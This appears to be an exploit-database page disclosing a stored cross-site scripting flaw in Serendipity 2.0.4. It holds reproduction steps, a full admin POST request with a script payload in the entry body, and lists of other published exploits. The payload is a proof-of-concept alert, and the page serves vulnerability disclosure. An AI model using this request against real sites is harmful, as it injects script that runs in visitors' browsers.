Search for hundreds of thousands of exploits

"S9Y Serendipity 2.0.4 - Cross-Site Scripting"

Author

Exploit author

Besim

Platform

Exploit platform

php

Release date

Exploit published date

2016-10-31

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
========================================
Title: Serendipity-2.0.4 (latest version) -  Stored Cross Site Scripting
Application: Serendipity
Class: Sensitive Information disclosure
Versions Affected:  <= latest version 
Vendor URL: http://docs.s9y.org/
Software URL: http://docs.s9y.org/downloads.html
Bugs:   Persistent Cross Site Scripting
Date of found:  29.10.2016
Author: Besim
========================================

2.CREDIT
========================================
Those vulnerabilities was identified by Meryem AKDOĞAN and Besim ALTINOK
 
  
3. VERSIONS AFFECTED
========================================
 <= latest version

  
4. TECHNICAL DETAILS & POC
========================================

 Stored Cross Site Scripting (No Admin Required)
========================================

1) Editor login panel
2) User click 'New Entry'
3) Attacker(normal user) enter xss payload to 'Entry Body' input 
4) Vulnerability Parameter and Payload : &body=<Script>alert('Meryem ExploitDB')</Script>

### HTTP Request  ###

POST /serendipity/serendipity_admin.php? HTTP/1.1
Host: site_name
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://site_name/serendipity/serendipity_admin.php?serendipity[adminModule]=entries&serendipity[adminAction]=new
Cookie: ---
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 762

- POST DATA

serendipity[action]=admin
&serendipity[adminModule]=entries
&serendipity[adminAction]=save
&serendipity[id]=
&serendipity[timestamp]=1477314176
&serendipity[preview]=false
&serendipity[token]=324fa32a404e03de978d9a18f86a3338
&serendipity[title]=New Page
&serendipity[body]=<Script>alert('Meryem ExploitDB')</Script>
&serendipity[extended]=
&serendipity[chk_timestamp]=1477314176
&serendipity[new_timestamp]=2016-10-24 15:02
&serendipity[isdraft]=false
&serendipity[allow_comments]=true
&serendipity[had_categories]=1
&serendipity[propertyform]=true
&serendipity[properties][access]=public
&ignore_password=
&serendipity[properties][entrypassword]=
&serendipity[change_author]=4
Release DateTitleTypePlatformAuthor
2020-09-16"Piwigo 2.10.1 - Cross Site Scripting"webappsphpIridium
2020-09-15"Tailor MS 1.0 - Reflected Cross-Site Scripting"webappsphpboku
2020-09-15"ThinkAdmin 6 - Arbitrarily File Read"webappsphpHzllaga
2020-09-14"Joomla! paGO Commerce 2.5.9.0 - SQL Injection (Authenticated)"webappsphp"Mehmet Kelepçe"
2020-09-10"CuteNews 2.1.2 - Remote Code Execution"webappsphp"Musyoka Ian"
2020-09-09"Tailor Management System - 'id' SQL Injection"webappsphpMosaaed
2020-09-07"grocy 2.7.1 - Persistent Cross-Site Scripting"webappsphp"Mufaddal Masalawala"
2020-09-03"BloodX CMS 1.0 - Authentication Bypass"webappsphpBKpatron
2020-09-03"Daily Tracker System 1.0 - Authentication Bypass"webappsphp"Adeeb Shah"
2020-09-03"SiteMagic CMS 4.4.2 - Arbitrary File Upload (Authenticated)"webappsphpV1n1v131r4
Release DateTitleTypePlatformAuthor
2020-05-12"qdPM 9.1 - Arbitrary File Upload"webappsphpBesim
2020-05-11"CuteNews 2.1.2 - Arbitrary File Deletion"webappsphpBesim
2020-05-06"Booked Scheduler 2.7.7 - Authenticated Directory Traversal"webappsphpBesim
2020-05-06"webTareas 2.0.p8 - Arbitrary File Deletion"webappsphpBesim
2020-05-06"i-doit Open Source CMDB 1.14.1 - Arbitrary File Deletion"webappsphpBesim
2020-05-05"PhreeBooks ERP 5.2.5 - Remote Command Execution"webappsphpBesim
2020-05-05"webERP 4.15.1 - Unauthenticated Backup File Access"webappsphpBesim
2020-04-29"School ERP Pro 1.0 - Arbitrary File Read"webappsphpBesim
2020-04-28"School ERP Pro 1.0 - Remote Code Execution"webappsphpBesim
2020-04-28"School ERP Pro 1.0 - 'es_messagesid' SQL Injection"webappsphpBesim
2020-04-27"Maian Support Helpdesk 4.3 - Cross-Site Request Forgery (Add Admin)"webappsphpBesim
2020-04-27"Netis E1+ V1.2.32533 - Unauthenticated WiFi Password Leak"webappshardwareBesim
2020-04-27"Netis E1+ 1.2.32533 - Backdoor Account (root)"webappshardwareBesim
2020-04-27"PHP-Fusion 9.03.50 - 'Edit Profile' Arbitrary File Upload"webappsphpBesim
2020-04-24"Edimax EW-7438RPn 1.13 - Remote Code Execution"webappshardwareBesim
2020-04-24"EspoCRM 5.8.5 - Privilege Escalation"webappsmultipleBesim
2020-04-23"User Management System 2.0 - Authentication Bypass"webappsphpBesim
2020-04-23"User Management System 2.0 - Persistent Cross-Site Scripting"webappsphpBesim
2020-04-23"Complaint Management System 4.2 - Persistent Cross-Site Scripting"webappsphpBesim
2020-04-23"Complaint Management System 4.2 - Authentication Bypass"webappsphpBesim
2020-04-23"Complaint Management System 4.2 - Cross-Site Request Forgery (Delete User)"webappsphpBesim
2020-04-22"Edimax EW-7438RPn - Information Disclosure (WiFi Password)"webappshardwareBesim
2020-04-22"Edimax EW-7438RPn - Cross-Site Request Forgery (MAC Filtering)"webappshardwareBesim
2016-10-31"S9Y Serendipity 2.0.4 - Cross-Site Scripting"webappsphpBesim
2016-10-23"Zenbership 107 - Multiple Vulnerabilities"webappsphpBesim
2016-10-19"CNDSOFT 2.3 - Cross-Site Request Forgery / Arbitrary File Upload"webappsphpBesim
2016-10-13"Colorful Blog - Persistent Cross-Site Scripting"webappsphpBesim
2016-10-13"Thatware 0.4.6 - SQL Injection"webappsphpBesim
2016-10-13"Colorful Blog - Cross-Site Request Forgery (Change Admin Password)"webappsphpBesim
2016-10-13"JonhCMS 4.5.1 - SQL Injection"webappsphpBesim
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/40650/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.